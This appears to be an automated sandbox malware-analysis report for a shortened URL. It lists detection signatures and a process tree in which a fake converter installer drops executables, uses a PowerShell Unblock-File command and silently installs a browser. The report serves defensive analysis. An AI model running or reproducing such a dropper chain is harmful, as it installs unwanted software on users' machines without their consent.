Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

15/07/2024, 05:57

240715-gn455sthle 8

14/07/2024, 19:00

240714-xnnq6avfrb 8

Analysis

  • max time kernel
    300s
  • max time network
    296s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/07/2024, 19:00

General

  • Target

    https://ify.ac/1Ic5

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 50 IoCs
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 43 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://ify.ac/1Ic5
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xd8,0xe4,0x7fff5e1646f8,0x7fff5e164708,0x7fff5e164718
      2⤵
        PID:1428
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
        2⤵
          PID:4460
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4528
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2648 /prefetch:8
          2⤵
            PID:232
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
            2⤵
              PID:4928
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
              2⤵
                PID:4608
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:8
                2⤵
                  PID:2720
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4752
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5168 /prefetch:1
                  2⤵
                    PID:4360
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:1
                    2⤵
                      PID:4368
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5604 /prefetch:1
                      2⤵
                        PID:3704
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
                        2⤵
                          PID:4164
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2232 /prefetch:2
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2424
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4688 /prefetch:1
                          2⤵
                            PID:1584
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
                            2⤵
                              PID:3152
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5984 /prefetch:1
                              2⤵
                                PID:5104
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:1
                                2⤵
                                  PID:3676
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=1888 /prefetch:8
                                  2⤵
                                    PID:2896
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5112 /prefetch:1
                                    2⤵
                                      PID:2920
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6620 /prefetch:8
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1156
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2644 /prefetch:1
                                      2⤵
                                        PID:1248
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14815590569435020657,18373895680920627001,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6908 /prefetch:1
                                        2⤵
                                          PID:4112
                                      • C:\Windows\System32\CompPkgSrv.exe
                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                        1⤵
                                          PID:4972
                                        • C:\Windows\System32\CompPkgSrv.exe
                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                          1⤵
                                            PID:4852
                                          • C:\Windows\System32\rundll32.exe
                                            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                            1⤵
                                              PID:2488
                                            • C:\Users\Admin\Desktop\setup_fwRX0QTXSH.exe
                                              "C:\Users\Admin\Desktop\setup_fwRX0QTXSH.exe"
                                              1⤵
                                                PID:912
                                                • C:\Users\Admin\AppData\Local\Temp\is-L5EV2.tmp\setup_fwRX0QTXSH.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-L5EV2.tmp\setup_fwRX0QTXSH.tmp" /SL5="$40296,6461016,56832,C:\Users\Admin\Desktop\setup_fwRX0QTXSH.exe"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:4948
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    "C:\Windows\system32\schtasks.exe" /Delete /F /TN "cd_2_mp3-converter_7143"
                                                    3⤵
                                                      PID:1868
                                                    • C:\Users\Admin\AppData\Local\CD To MP3 Converter\cd2mp3converter32_64.exe
                                                      "C:\Users\Admin\AppData\Local\CD To MP3 Converter\cd2mp3converter32_64.exe" e4f9ec4bc5a956f3ea3e73bc08a5f90d
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4812
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 880
                                                        4⤵
                                                        • Program crash
                                                        PID:4808
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 896
                                                        4⤵
                                                        • Program crash
                                                        PID:4944
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 944
                                                        4⤵
                                                        • Program crash
                                                        PID:2336
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1080
                                                        4⤵
                                                        • Program crash
                                                        PID:3228
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1120
                                                        4⤵
                                                        • Program crash
                                                        PID:4548
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1084
                                                        4⤵
                                                        • Program crash
                                                        PID:2300
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1112
                                                        4⤵
                                                        • Program crash
                                                        PID:2900
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1156
                                                        4⤵
                                                        • Program crash
                                                        PID:3212
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 988
                                                        4⤵
                                                        • Program crash
                                                        PID:760
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 996
                                                        4⤵
                                                        • Program crash
                                                        PID:3952
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1316
                                                        4⤵
                                                        • Program crash
                                                        PID:2696
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1488
                                                        4⤵
                                                        • Program crash
                                                        PID:436
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1708
                                                        4⤵
                                                        • Program crash
                                                        PID:2388
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1332
                                                        4⤵
                                                        • Program crash
                                                        PID:2224
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1760
                                                        4⤵
                                                        • Program crash
                                                        PID:2380
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1936
                                                        4⤵
                                                        • Program crash
                                                        PID:5108
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2128
                                                        4⤵
                                                        • Program crash
                                                        PID:4944
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/bboobies
                                                        4⤵
                                                          PID:4488
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fff5e1646f8,0x7fff5e164708,0x7fff5e164718
                                                            5⤵
                                                              PID:1364
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1820
                                                            4⤵
                                                            • Program crash
                                                            PID:3160
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1864
                                                            4⤵
                                                            • Program crash
                                                            PID:2364
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1756
                                                            4⤵
                                                            • Program crash
                                                            PID:100
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1768
                                                            4⤵
                                                            • Program crash
                                                            PID:1628
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1888
                                                            4⤵
                                                            • Program crash
                                                            PID:1672
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1816
                                                            4⤵
                                                            • Program crash
                                                            PID:4556
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2040
                                                            4⤵
                                                            • Program crash
                                                            PID:2720
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2056
                                                            4⤵
                                                            • Program crash
                                                            PID:3960
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1992
                                                            4⤵
                                                            • Program crash
                                                            PID:636
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2224
                                                            4⤵
                                                            • Program crash
                                                            PID:5068
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2008
                                                            4⤵
                                                            • Program crash
                                                            PID:4548
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2232
                                                            4⤵
                                                            • Program crash
                                                            PID:932
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1368
                                                            4⤵
                                                            • Program crash
                                                            PID:3948
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2032
                                                            4⤵
                                                            • Program crash
                                                            PID:1248
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1848
                                                            4⤵
                                                            • Program crash
                                                            PID:1700
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2196
                                                            4⤵
                                                            • Program crash
                                                            PID:264
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\YhX2Xmx3\PdlHKT0.exe"
                                                            4⤵
                                                              PID:4896
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\YhX2Xmx3\PdlHKT0.exe"
                                                                5⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2068
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2140
                                                              4⤵
                                                              • Program crash
                                                              PID:1160
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2044
                                                              4⤵
                                                              • Program crash
                                                              PID:1284
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2040
                                                              4⤵
                                                              • Program crash
                                                              PID:3268
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1860
                                                              4⤵
                                                              • Program crash
                                                              PID:3936
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2060
                                                              4⤵
                                                              • Program crash
                                                              PID:1584
                                                            • C:\Users\Admin\AppData\Local\Temp\YhX2Xmx3\PdlHKT0.exe
                                                              C:\Users\Admin\AppData\Local\Temp\YhX2Xmx3\PdlHKT0.exe --silent --allusers=0
                                                              4⤵
                                                              • Executes dropped EXE
                                                              PID:4664
                                                              • C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe
                                                                C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe --silent --allusers=0 --server-tracking-blob=ODcyNmRiZmJmMGMzNzMzZGY0ODBjOTMxNDg3ZDQyMzgxNGMzYmZlMmRiNDAxYzhiOGNjZTg1ZTM2YmU4MmUyMDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1SU1RQJnV0bV9jYW1wYWlnbj1vcDEzMiIsInRpbWVzdGFtcCI6IjE3MjA5ODM4MzkuNDgzNiIsInVzZXJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTguMC4wLjAgU2FmYXJpLzUzNy4zNiIsInV0bSI6eyJjYW1wYWlnbiI6Im9wMTMyIiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoiUlNUUCJ9LCJ1dWlkIjoiZDJmY2Y4MDYtMWY1My00MmMxLWI0YjUtNjJjNzJmMWQ2MDhhIn0=
                                                                5⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                • Enumerates connected drives
                                                                • Modifies system certificate store
                                                                PID:4900
                                                                • C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=112.0.5197.24 --initial-client-data=0x330,0x334,0x338,0x310,0x33c,0x724eb1f4,0x724eb200,0x724eb20c
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  PID:2720
                                                                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  PID:5108
                                                                • C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=4900 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240714190406" --session-guid=63c5d5b6-7b17-4705-b8f8-a6c7c6ace1ef --server-tracking-blob=MTZmMmFhYjY0MzU2NDkyOWM0NjVhMmQyYWNlNDMxNzFjZWEyN2NlMDliODQ3NzQ5MWY4MjM1NTE5MWMxZGJhOTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1SU1RQJnV0bV9jYW1wYWlnbj1vcDEzMiIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcyMDk4MzgzOS40ODM2IiwidXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExOC4wLjAuMCBTYWZhcmkvNTM3LjM2IiwidXRtIjp7ImNhbXBhaWduIjoib3AxMzIiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJSU1RQIn0sInV1aWQiOiJkMmZjZjgwNi0xZjUzLTQyYzEtYjRiNS02MmM3MmYxZDYwOGEifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=E405000000000000
                                                                  6⤵
                                                                  • Executes dropped EXE
